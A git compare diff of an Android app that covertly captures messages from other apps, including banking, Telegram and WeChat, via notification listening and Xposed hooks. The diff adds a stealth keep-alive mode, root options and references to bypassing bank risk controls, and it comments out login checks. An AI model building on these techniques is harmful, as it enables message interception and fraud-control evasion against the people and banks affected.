Compare commits
15 Commits
master
...
e80f7f908c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e80f7f908c | ||
|
|
f9426d6b68 | ||
|
|
bc51fb35cc | ||
|
|
5378a34f58 | ||
|
|
609635aba1 | ||
|
|
193c04a24b | ||
|
|
18ae42ec63 | ||
|
|
818b2f4f51 | ||
|
|
13e407623b | ||
|
|
5a232213f3 | ||
|
|
81119e0ff9 | ||
| d488a0759f | |||
| 59970a84a8 | |||
| 125dfe583b | |||
| 7c80b7073a |
20
.gitignore
vendored
20
.gitignore
vendored
@@ -13,3 +13,23 @@
|
||||
.externalNativeBuild
|
||||
.cxx
|
||||
local.properties
|
||||
gradle-local.properties
|
||||
platform-tools/
|
||||
xposed-module/build/
|
||||
reverse/apks/
|
||||
reverse/extracted/
|
||||
reverse/output/
|
||||
reverse/logs/
|
||||
reverse/tmp/
|
||||
reverse/frida/bin/
|
||||
reverse/frida/*.log
|
||||
reverse/frida/*.log.err
|
||||
reverse/frida/logcat_capture.txt
|
||||
reverse/frida/*.out
|
||||
reverse/frida/*.err
|
||||
debug-server/__pycache__/
|
||||
magisk-modules/tng_exit_guard/obj/
|
||||
magisk-modules/tng_exit_guard/libs/
|
||||
# 调试抓包/截图/ANR/APK 产物,不入库
|
||||
reverse/dumps/
|
||||
reverse/scripts/__pycache__/
|
||||
|
||||
4
.idea/deploymentTargetSelector.xml
generated
4
.idea/deploymentTargetSelector.xml
generated
@@ -4,10 +4,10 @@
|
||||
<selectionStates>
|
||||
<SelectionState runConfigName="app">
|
||||
<option name="selectionMode" value="DROPDOWN" />
|
||||
<DropdownSelection timestamp="2026-04-04T17:31:49.855391Z">
|
||||
<DropdownSelection timestamp="2026-07-02T07:30:20.554015200Z">
|
||||
<Target type="DEFAULT_BOOT">
|
||||
<handle>
|
||||
<DeviceId pluginId="LocalEmulator" identifier="path=/Users/wchino/.android/avd/Pixel_9_Pro.avd" />
|
||||
<DeviceId pluginId="PhysicalDevice" identifier="serial=1C081FDF600K5Q" />
|
||||
</handle>
|
||||
</Target>
|
||||
</DropdownSelection>
|
||||
|
||||
50
AGENTS.md
50
AGENTS.md
@@ -1,6 +1,11 @@
|
||||
# AGENTS.md — SmsMessage (notiMessage)
|
||||
|
||||
Android 应用,监听通知栏短信/通知内容并上传至服务器。适配华为、MIUI 等手机。
|
||||
Android 应用,监听通知栏消息并通过 **双通道**(通知监听 + Xposed Hook)抓取内容,支持 PC 本地调试台转发。
|
||||
|
||||
> **Hook 架构与扩展指南**:详见 [docs/Hook指南.md](docs/Hook指南.md)(含 **Xposed / LSPosed**、接入新 App)
|
||||
> **Telegram 抓消息专文**:[docs/Telegram抓消息说明.md](docs/Telegram抓消息说明.md)
|
||||
> **手机部署与银行 bypass 操作**:详见 [docs/手机操作手册.md](docs/手机操作手册.md)
|
||||
> **MariBank 风控与 register 载荷**:[docs/MariBank风控与载荷说明.md](docs/MariBank风控与载荷说明.md)
|
||||
|
||||
## 项目结构
|
||||
|
||||
@@ -10,24 +15,45 @@ notiMessage/
|
||||
│ ├── src/main/java/.../
|
||||
│ │ ├── Activity/ # Activity 类 (MainActivity, NotificationActivity, SettingActivity, AppListActivity)
|
||||
│ │ ├── service/ # Service 类 (NotificationService — 通知监听核心)
|
||||
│ │ ├── network/ # ApiService, DebugForwarder, TokenManager
|
||||
│ │ ├── comm/ # 通用组件 (CommonAdapter, ViewHolder)
|
||||
│ │ ├── App.java # Application 类,管理通知列表持久化
|
||||
│ │ ├── AppConfig.java # 调试转发 / 正式上传开关
|
||||
│ │ ├── MessageLogStore.java # 监听日志持久化
|
||||
│ │ ├── MessageInfo.java, AppInfo.java # 数据模型
|
||||
│ │ └── GsonUtils.java # JSON 工具类
|
||||
│ └── src/main/res/ # 资源文件
|
||||
├── xposed-module/ # Xposed Hook 模块 (com.miraclegarden.smsmessage.xposed)
|
||||
│ └── src/main/java/.../hook/
|
||||
│ ├── TelegramMessageHook.java # Telegram 专用
|
||||
│ ├── WeChatMessageHook.java # 微信专用
|
||||
│ └── SqliteMessageHook.java # 通用 SQLite 兜底
|
||||
├── debug-server/ # PC 本地调试台 (server.py, 端口 8765)
|
||||
├── scripts/ # build-debug.ps1, install-full.ps1, start-debug-server.ps1
|
||||
├── library/ # 基础库模块 (com.miraclegarden.library)
|
||||
│ └── MiracleGardenActivity<T> # ViewBinding 基类
|
||||
├── build.gradle # 根构建文件 (AGP 7.3.0)
|
||||
├── settings.gradle # 模块声明 + 仓库配置
|
||||
├── docs/Hook指南.md # Hook 架构、Xposed/LSPosed、扩展
|
||||
├── docs/手机操作手册.md # Root 机部署与日常操作
|
||||
├── docs/MariBank风控与载荷说明.md # register 字段与风控说明
|
||||
├── build.gradle # 根构建文件
|
||||
├── settings.gradle # 模块: app, library, xposed-module
|
||||
└── gradle.properties # Gradle 配置
|
||||
```
|
||||
|
||||
## 构建命令
|
||||
|
||||
```bash
|
||||
# 构建
|
||||
./gradlew assembleDebug # 构建 debug APK
|
||||
./gradlew assembleRelease # 构建 release APK
|
||||
# 构建(主 App + Xposed 双 APK)
|
||||
./gradlew :app:assembleDebug :xposed-module:assembleDebug
|
||||
|
||||
# Windows 一键完整安装(推荐)
|
||||
powershell -ExecutionPolicy Bypass -File scripts/install-full.ps1
|
||||
|
||||
# PC 调试台
|
||||
powershell -ExecutionPolicy Bypass -File scripts/start-debug-server.ps1
|
||||
|
||||
# 构建 release(仅主 App)
|
||||
./gradlew assembleRelease
|
||||
./gradlew build # 完整构建(编译 + lint + 测试)
|
||||
|
||||
# Lint
|
||||
@@ -51,12 +77,12 @@ notiMessage/
|
||||
|
||||
## SDK 与依赖版本
|
||||
|
||||
| 配置项 | app 模块 | library 模块 |
|
||||
|--------|---------|-------------|
|
||||
| compileSdk | 32 | 32 |
|
||||
| minSdk | 24 | 21 |
|
||||
| targetSdk | 32 | 32 |
|
||||
| Java | 17 | 17 |
|
||||
| 配置项 | app 模块 | library 模块 | xposed-module |
|
||||
|--------|---------|-------------|---------------|
|
||||
| compileSdk | 34 | 32 | 34 |
|
||||
| minSdk | 24 | 21 | 24 |
|
||||
| targetSdk | 34 | 32 | 34 |
|
||||
| Java | 17 | 17 | 17 |
|
||||
|
||||
**关键依赖**: OkHttp 5.0.0-alpha.10 (网络), Gson 2.9.0 (JSON), ViewBinding (UI绑定), Material 1.6.1
|
||||
**测试框架**: JUnit 4.13.2, Espresso 3.4.0, AndroidX Test JUnit 1.1.3
|
||||
|
||||
@@ -77,6 +77,10 @@
|
||||
<activity
|
||||
android:name=".Activity.PermissionActivity"
|
||||
android:exported="false" />
|
||||
<activity
|
||||
android:name=".Activity.KeepAliveSettingsActivity"
|
||||
android:exported="false"
|
||||
android:theme="@style/Theme.SmsMessage1" />
|
||||
|
||||
<!--通知栏获取短信-->
|
||||
<service
|
||||
@@ -101,6 +105,16 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- Xposed Hook 消息接收 -->
|
||||
<receiver
|
||||
android:name=".service.HookMessageReceiver"
|
||||
android:enabled="true"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="com.miraclegarden.smsmessage.action.HOOK_MESSAGE" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
|
||||
@@ -16,6 +16,7 @@ import com.miraclegarden.smsmessage.databinding.DialogActionConfirmBinding;
|
||||
import com.miraclegarden.smsmessage.model.ApiError;
|
||||
import com.miraclegarden.smsmessage.model.BankInfo;
|
||||
import com.miraclegarden.smsmessage.network.ApiService;
|
||||
import com.miraclegarden.smsmessage.network.TokenManager;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
@@ -30,8 +31,10 @@ public class ActionConfirmDialog extends Dialog {
|
||||
int index;
|
||||
DialogActionConfirmBinding actionConfirmBinding;
|
||||
ApiService apiService;
|
||||
TokenManager tokenManager;
|
||||
List<BankInfo> bankList = new ArrayList<>();
|
||||
BankInfo selectedBank = null;
|
||||
private boolean localMode = false;
|
||||
|
||||
public interface OnToActionListener {
|
||||
void toSumbit(AppInfo appInfo);
|
||||
@@ -47,6 +50,7 @@ public class ActionConfirmDialog extends Dialog {
|
||||
this.context = context;
|
||||
this.appInfo = appInfo;
|
||||
this.apiService = new ApiService(context);
|
||||
this.tokenManager = TokenManager.getInstance(context);
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -59,10 +63,19 @@ public class ActionConfirmDialog extends Dialog {
|
||||
actionConfirmBinding.tvAppname.setText(appInfo.getAppName());
|
||||
actionConfirmBinding.tvPackage.setText(appInfo.getPackageName());
|
||||
|
||||
// 加载银行账户列表
|
||||
loadBankList();
|
||||
// 未登录时走本地模式,不请求服务器银行账户
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
setupLocalMode();
|
||||
} else {
|
||||
loadBankList();
|
||||
}
|
||||
|
||||
actionConfirmBinding.sumbitTv.setOnClickListener(view -> {
|
||||
if (localMode) {
|
||||
submitLocalMode();
|
||||
return;
|
||||
}
|
||||
|
||||
if (selectedBank == null) {
|
||||
Toast.makeText(context, "请选择关联的银行账户", Toast.LENGTH_SHORT).show();
|
||||
return;
|
||||
@@ -124,14 +137,43 @@ public class ActionConfirmDialog extends Dialog {
|
||||
public void onError(ApiError error) {
|
||||
if (context instanceof android.app.Activity) {
|
||||
((android.app.Activity) context).runOnUiThread(() -> {
|
||||
Toast.makeText(context, "加载银行账户失败: " + error.getMessage(), Toast.LENGTH_LONG).show();
|
||||
dismiss();
|
||||
Toast.makeText(context, "无法加载银行账户,已切换本地模式", Toast.LENGTH_SHORT).show();
|
||||
setupLocalMode();
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void setupLocalMode() {
|
||||
localMode = true;
|
||||
selectedBank = null;
|
||||
actionConfirmBinding.spinnerBank.setVisibility(View.GONE);
|
||||
View bankSection = (View) actionConfirmBinding.spinnerBank.getParent();
|
||||
if (bankSection != null) {
|
||||
for (int i = 0; i < ((android.view.ViewGroup) bankSection).getChildCount(); i++) {
|
||||
((android.view.ViewGroup) bankSection).getChildAt(i).setVisibility(View.GONE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void submitLocalMode() {
|
||||
if (TextUtils.isEmpty(appInfo.getBankInfoId())) {
|
||||
appInfo.setBankInfoId("local:" + appInfo.getPackageName());
|
||||
}
|
||||
if (TextUtils.isEmpty(appInfo.getName())) {
|
||||
appInfo.setName(appInfo.getAppName());
|
||||
}
|
||||
if (TextUtils.isEmpty(appInfo.getCode())) {
|
||||
appInfo.setCode(appInfo.getPackageName());
|
||||
}
|
||||
|
||||
if (onToActionListener != null) {
|
||||
dismiss();
|
||||
onToActionListener.toSumbit(appInfo);
|
||||
}
|
||||
}
|
||||
|
||||
private void setupSpinner() {
|
||||
List<String> bankNames = new ArrayList<>();
|
||||
bankNames.add("请选择银行账户");
|
||||
|
||||
@@ -33,11 +33,12 @@ public class AppListActivity extends MiracleGardenActivity<AppListSettingBinding
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
|
||||
initView();
|
||||
}
|
||||
|
||||
@@ -27,11 +27,12 @@ public class BankEditActivity extends MiracleGardenActivity<ActivityBankEditBind
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
|
||||
apiService = new ApiService(this);
|
||||
|
||||
|
||||
@@ -37,11 +37,12 @@ public class BankListActivity extends MiracleGardenActivity<ActivityBankListBind
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
|
||||
apiService = new ApiService(this);
|
||||
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
package com.miraclegarden.smsmessage.Activity;
|
||||
|
||||
import android.os.Bundle;
|
||||
import android.view.View;
|
||||
import android.widget.AdapterView;
|
||||
import android.widget.ArrayAdapter;
|
||||
import android.widget.Toast;
|
||||
|
||||
import androidx.annotation.Nullable;
|
||||
|
||||
import com.miraclegarden.library.app.MiracleGardenActivity;
|
||||
import com.miraclegarden.smsmessage.KeepAliveSettings;
|
||||
import com.miraclegarden.smsmessage.R;
|
||||
import com.miraclegarden.smsmessage.databinding.ActivityKeepAliveSettingsBinding;
|
||||
import com.miraclegarden.smsmessage.service.MonitoredAppActivator;
|
||||
import com.miraclegarden.smsmessage.service.MonitoredAppKeepAliveScheduler;
|
||||
import com.miraclegarden.smsmessage.service.NotificationService;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class KeepAliveSettingsActivity extends MiracleGardenActivity<ActivityKeepAliveSettingsBinding> {
|
||||
|
||||
private boolean loadingUi;
|
||||
|
||||
@Override
|
||||
protected void onCreate(@Nullable Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
binding.ivBack.setOnClickListener(v -> finish());
|
||||
setupSpinners();
|
||||
loadFromPrefs();
|
||||
bindListeners();
|
||||
}
|
||||
|
||||
private void setupSpinners() {
|
||||
binding.spinnerInterval.setAdapter(buildAdapter(formatIntervalOptions()));
|
||||
binding.spinnerCooldown.setAdapter(buildAdapter(formatCooldownOptions()));
|
||||
}
|
||||
|
||||
private ArrayAdapter<String> buildAdapter(List<String> labels) {
|
||||
ArrayAdapter<String> adapter = new ArrayAdapter<>(
|
||||
this, android.R.layout.simple_spinner_item, labels);
|
||||
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
|
||||
return adapter;
|
||||
}
|
||||
|
||||
private List<String> formatIntervalOptions() {
|
||||
List<String> labels = new ArrayList<>();
|
||||
for (int minutes : KeepAliveSettings.INTERVAL_OPTIONS) {
|
||||
labels.add(minutes + " 分钟");
|
||||
}
|
||||
return labels;
|
||||
}
|
||||
|
||||
private List<String> formatCooldownOptions() {
|
||||
List<String> labels = new ArrayList<>();
|
||||
for (int minutes : KeepAliveSettings.COOLDOWN_OPTIONS) {
|
||||
labels.add(minutes + " 分钟");
|
||||
}
|
||||
return labels;
|
||||
}
|
||||
|
||||
private void loadFromPrefs() {
|
||||
loadingUi = true;
|
||||
binding.switchEnabled.setChecked(KeepAliveSettings.isEnabled(this));
|
||||
binding.switchStealthMode.setChecked(KeepAliveSettings.isStealthMode(this));
|
||||
binding.switchPreferRoot.setChecked(KeepAliveSettings.preferRoot(this));
|
||||
binding.switchReturnHome.setChecked(KeepAliveSettings.returnHome(this));
|
||||
binding.switchKillBeforeLaunch.setChecked(KeepAliveSettings.killBeforeLaunch(this));
|
||||
binding.spinnerInterval.setSelection(
|
||||
KeepAliveSettings.indexOfInterval(KeepAliveSettings.getIntervalMinutes(this)));
|
||||
binding.spinnerCooldown.setSelection(
|
||||
KeepAliveSettings.indexOfCooldown(KeepAliveSettings.getCooldownMinutes(this)));
|
||||
loadingUi = false;
|
||||
updateControlsEnabled();
|
||||
}
|
||||
|
||||
private void bindListeners() {
|
||||
binding.switchEnabled.setOnCheckedChangeListener((buttonView, isChecked) -> {
|
||||
if (loadingUi) {
|
||||
return;
|
||||
}
|
||||
KeepAliveSettings.setEnabled(this, isChecked);
|
||||
updateControlsEnabled();
|
||||
applySchedule();
|
||||
});
|
||||
|
||||
binding.switchStealthMode.setOnCheckedChangeListener((buttonView, isChecked) -> {
|
||||
if (!loadingUi) {
|
||||
KeepAliveSettings.setStealthMode(this, isChecked);
|
||||
}
|
||||
});
|
||||
|
||||
binding.switchPreferRoot.setOnCheckedChangeListener((buttonView, isChecked) -> {
|
||||
if (!loadingUi) {
|
||||
KeepAliveSettings.setPreferRoot(this, isChecked);
|
||||
}
|
||||
});
|
||||
|
||||
binding.switchReturnHome.setOnCheckedChangeListener((buttonView, isChecked) -> {
|
||||
if (!loadingUi) {
|
||||
KeepAliveSettings.setReturnHome(this, isChecked);
|
||||
}
|
||||
});
|
||||
|
||||
binding.switchKillBeforeLaunch.setOnCheckedChangeListener((buttonView, isChecked) -> {
|
||||
if (!loadingUi) {
|
||||
KeepAliveSettings.setKillBeforeLaunch(this, isChecked);
|
||||
}
|
||||
});
|
||||
|
||||
binding.spinnerInterval.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
|
||||
@Override
|
||||
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
|
||||
if (loadingUi) {
|
||||
return;
|
||||
}
|
||||
KeepAliveSettings.setIntervalMinutes(
|
||||
KeepAliveSettingsActivity.this, KeepAliveSettings.INTERVAL_OPTIONS[position]);
|
||||
applySchedule();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onNothingSelected(AdapterView<?> parent) {
|
||||
}
|
||||
});
|
||||
|
||||
binding.spinnerCooldown.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
|
||||
@Override
|
||||
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
|
||||
if (!loadingUi) {
|
||||
KeepAliveSettings.setCooldownMinutes(
|
||||
KeepAliveSettingsActivity.this, KeepAliveSettings.COOLDOWN_OPTIONS[position]);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onNothingSelected(AdapterView<?> parent) {
|
||||
}
|
||||
});
|
||||
|
||||
binding.btnWakeNow.setOnClickListener(v -> {
|
||||
if (!KeepAliveSettings.isEnabled(this)) {
|
||||
Toast.makeText(this, R.string.keep_alive_wake_disabled, Toast.LENGTH_SHORT).show();
|
||||
return;
|
||||
}
|
||||
MonitoredAppActivator.activateAllAsync(this);
|
||||
Toast.makeText(this, R.string.keep_alive_wake_started, Toast.LENGTH_SHORT).show();
|
||||
});
|
||||
}
|
||||
|
||||
private void applySchedule() {
|
||||
if (NotificationService.isMonitoringActive(this)) {
|
||||
if (KeepAliveSettings.isEnabled(this)) {
|
||||
MonitoredAppKeepAliveScheduler.schedule(this);
|
||||
} else {
|
||||
MonitoredAppKeepAliveScheduler.cancel(this);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void updateControlsEnabled() {
|
||||
boolean enabled = binding.switchEnabled.isChecked();
|
||||
binding.spinnerInterval.setEnabled(enabled);
|
||||
binding.spinnerCooldown.setEnabled(enabled);
|
||||
binding.switchStealthMode.setEnabled(enabled);
|
||||
binding.switchPreferRoot.setEnabled(enabled);
|
||||
binding.switchKillBeforeLaunch.setEnabled(enabled);
|
||||
binding.switchReturnHome.setEnabled(enabled);
|
||||
binding.btnWakeNow.setEnabled(enabled);
|
||||
}
|
||||
}
|
||||
@@ -32,11 +32,12 @@ public class MainActivity extends MiracleGardenActivity<ActivityMainBinding> {
|
||||
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
|
||||
initView();
|
||||
}
|
||||
@@ -44,11 +45,12 @@ public class MainActivity extends MiracleGardenActivity<ActivityMainBinding> {
|
||||
@Override
|
||||
protected void onResume() {
|
||||
super.onResume();
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
updatePermissionStatus();
|
||||
}
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.miraclegarden.smsmessage.Activity;
|
||||
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.os.Bundle;
|
||||
import android.os.Handler;
|
||||
@@ -17,6 +18,8 @@ import androidx.annotation.Nullable;
|
||||
|
||||
import com.miraclegarden.library.app.MiracleGardenActivity;
|
||||
import com.miraclegarden.smsmessage.App;
|
||||
import com.miraclegarden.smsmessage.AppConfig;
|
||||
import com.miraclegarden.smsmessage.MessageLogStore;
|
||||
import com.miraclegarden.smsmessage.databinding.ActivityNotificationBinding;
|
||||
import com.miraclegarden.smsmessage.network.TokenManager;
|
||||
import com.miraclegarden.smsmessage.service.NotificationService;
|
||||
@@ -36,19 +39,25 @@ public class NotificationActivity extends MiracleGardenActivity<ActivityNotifica
|
||||
@Override
|
||||
public void handleMessage(@NonNull Message msg) {
|
||||
super.handleMessage(msg);
|
||||
String str = (String) msg.obj;
|
||||
if (str != null && binding != null && binding.tvLog != null) {
|
||||
SimpleDateFormat format = new SimpleDateFormat("HH:mm:ss");
|
||||
String t = format.format(new Date());
|
||||
binding.tvLog.append(t + " " + str + "\n");
|
||||
trimLogIfNeeded();
|
||||
binding.scrollView.post(() ->
|
||||
binding.scrollView.fullScroll(ScrollView.FOCUS_DOWN));
|
||||
}
|
||||
restoreLogFromStore();
|
||||
}
|
||||
};
|
||||
|
||||
private void restoreLogFromStore() {
|
||||
if (binding == null || binding.tvLog == null) {
|
||||
return;
|
||||
}
|
||||
binding.tvLog.setText(MessageLogStore.getDisplayText(this));
|
||||
binding.scrollView.post(() ->
|
||||
binding.scrollView.fullScroll(ScrollView.FOCUS_DOWN));
|
||||
}
|
||||
|
||||
public static void sendMessage(String str) {
|
||||
Context appContext = App.getAppContext();
|
||||
if (appContext != null) {
|
||||
MessageLogStore.append(appContext, str);
|
||||
}
|
||||
|
||||
NotificationActivity activity = instanceRef != null ? instanceRef.get() : null;
|
||||
if (activity != null && activity.handler != null) {
|
||||
Message message = Message.obtain();
|
||||
@@ -62,22 +71,25 @@ public class NotificationActivity extends MiracleGardenActivity<ActivityNotifica
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
Toast.makeText(this, "请先登录", Toast.LENGTH_SHORT).show();
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// Toast.makeText(this, "请先登录", Toast.LENGTH_SHORT).show();
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
|
||||
instanceRef = new WeakReference<>(this);
|
||||
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
|
||||
|
||||
initView();
|
||||
restoreLogFromStore();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onResume() {
|
||||
super.onResume();
|
||||
restoreLogFromStore();
|
||||
updateUI();
|
||||
handler.post(statsUpdateRunnable);
|
||||
}
|
||||
@@ -98,9 +110,18 @@ public class NotificationActivity extends MiracleGardenActivity<ActivityNotifica
|
||||
}
|
||||
|
||||
private void initView() {
|
||||
String username = tokenManager.getUsername();
|
||||
if (username != null) {
|
||||
binding.tvUsername.setText(username);
|
||||
if (AppConfig.ENABLE_SERVER_UPLOAD) {
|
||||
String username = tokenManager.getUsername();
|
||||
if (username != null) {
|
||||
binding.tvUsername.setText(username);
|
||||
}
|
||||
} else {
|
||||
binding.tvUsername.setVisibility(android.view.View.GONE);
|
||||
}
|
||||
|
||||
if (!AppConfig.ENABLE_SERVER_UPLOAD) {
|
||||
binding.tvUploadedCount.setVisibility(android.view.View.GONE);
|
||||
binding.tvSuccessRate.setVisibility(android.view.View.GONE);
|
||||
}
|
||||
|
||||
binding.ivBack.setOnClickListener(v -> finish());
|
||||
@@ -110,6 +131,7 @@ public class NotificationActivity extends MiracleGardenActivity<ActivityNotifica
|
||||
});
|
||||
|
||||
binding.btnClearLog.setOnClickListener(v -> {
|
||||
MessageLogStore.clear(this);
|
||||
binding.tvLog.setText("");
|
||||
});
|
||||
|
||||
@@ -123,7 +145,7 @@ public class NotificationActivity extends MiracleGardenActivity<ActivityNotifica
|
||||
return;
|
||||
}
|
||||
|
||||
if (NotificationService.isMonitoring()) {
|
||||
if (NotificationService.isMonitoringActive(this)) {
|
||||
NotificationService.stopMonitoring(this);
|
||||
sendMessage("正在停止监听...");
|
||||
} else {
|
||||
@@ -143,7 +165,7 @@ public class NotificationActivity extends MiracleGardenActivity<ActivityNotifica
|
||||
return;
|
||||
}
|
||||
|
||||
if (NotificationService.isMonitoring()) {
|
||||
if (NotificationService.isMonitoringActive(activity)) {
|
||||
activity.binding.btnToggleMonitor.setText("停止监听");
|
||||
activity.binding.btnToggleMonitor.setEnabled(true);
|
||||
activity.binding.btnToggleMonitor.setBackgroundTintList(
|
||||
@@ -172,14 +194,16 @@ public class NotificationActivity extends MiracleGardenActivity<ActivityNotifica
|
||||
int configuredCount = App.getNotiList(this).size();
|
||||
|
||||
binding.tvConfiguredApps.setText("已配置: " + configuredCount + "个");
|
||||
binding.tvMonitoredCount.setText("监听: " + totalCount);
|
||||
binding.tvUploadedCount.setText("上传: " + uploadedCount);
|
||||
binding.tvMonitoredCount.setText("已抓取: " + totalCount);
|
||||
|
||||
if (totalCount > 0) {
|
||||
int successRate = (uploadedCount * 100) / totalCount;
|
||||
binding.tvSuccessRate.setText("成功率: " + successRate + "%");
|
||||
} else {
|
||||
binding.tvSuccessRate.setText("成功率: --");
|
||||
if (AppConfig.ENABLE_SERVER_UPLOAD) {
|
||||
binding.tvUploadedCount.setText("上传: " + uploadedCount);
|
||||
if (totalCount > 0) {
|
||||
int successRate = (uploadedCount * 100) / totalCount;
|
||||
binding.tvSuccessRate.setText("成功率: " + successRate + "%");
|
||||
} else {
|
||||
binding.tvSuccessRate.setText("成功率: --");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -29,11 +29,12 @@ public class PermissionActivity extends MiracleGardenActivity<ActivityPermission
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
|
||||
initView();
|
||||
}
|
||||
|
||||
@@ -34,11 +34,12 @@ public class SettingActivity extends MiracleGardenActivity<ActivitySettingBindin
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
tokenManager = TokenManager.getInstance(this);
|
||||
if (!tokenManager.isLoggedIn()) {
|
||||
startActivity(new Intent(this, LoginActivity.class));
|
||||
finish();
|
||||
return;
|
||||
}
|
||||
// 调试用:暂时跳过登录
|
||||
// if (!tokenManager.isLoggedIn()) {
|
||||
// startActivity(new Intent(this, LoginActivity.class));
|
||||
// finish();
|
||||
// return;
|
||||
// }
|
||||
|
||||
initView();
|
||||
initList();
|
||||
@@ -55,6 +56,10 @@ public class SettingActivity extends MiracleGardenActivity<ActivitySettingBindin
|
||||
binding.btnAddApp.setOnClickListener(v -> {
|
||||
startActivity(new Intent(this, AppListActivity.class));
|
||||
});
|
||||
|
||||
binding.rowKeepAliveSettings.setOnClickListener(v -> {
|
||||
startActivity(new Intent(this, KeepAliveSettingsActivity.class));
|
||||
});
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
@@ -10,9 +10,7 @@ import android.text.TextUtils;
|
||||
import android.util.Base64;
|
||||
import android.util.Log;
|
||||
|
||||
import androidx.work.Constraints;
|
||||
import androidx.work.ExistingPeriodicWorkPolicy;
|
||||
import androidx.work.NetworkType;
|
||||
import androidx.work.PeriodicWorkRequest;
|
||||
import androidx.work.WorkManager;
|
||||
|
||||
@@ -29,10 +27,12 @@ import java.util.concurrent.TimeUnit;
|
||||
public class App extends Application {
|
||||
private static final String TAG = "App";
|
||||
public static String Hash_value;
|
||||
private static App instance;
|
||||
|
||||
@Override
|
||||
public void onCreate() {
|
||||
super.onCreate();
|
||||
instance = this;
|
||||
String packageName = getApplicationContext().getPackageName();
|
||||
MessageDigest messageDigest = getMessageDigest();
|
||||
String signature = getSignature(this, packageName);
|
||||
@@ -40,14 +40,13 @@ public class App extends Application {
|
||||
scheduleHealthCheck();
|
||||
}
|
||||
|
||||
private void scheduleHealthCheck() {
|
||||
Constraints constraints = new Constraints.Builder()
|
||||
.setRequiredNetworkType(NetworkType.CONNECTED)
|
||||
.build();
|
||||
public static Context getAppContext() {
|
||||
return instance;
|
||||
}
|
||||
|
||||
private void scheduleHealthCheck() {
|
||||
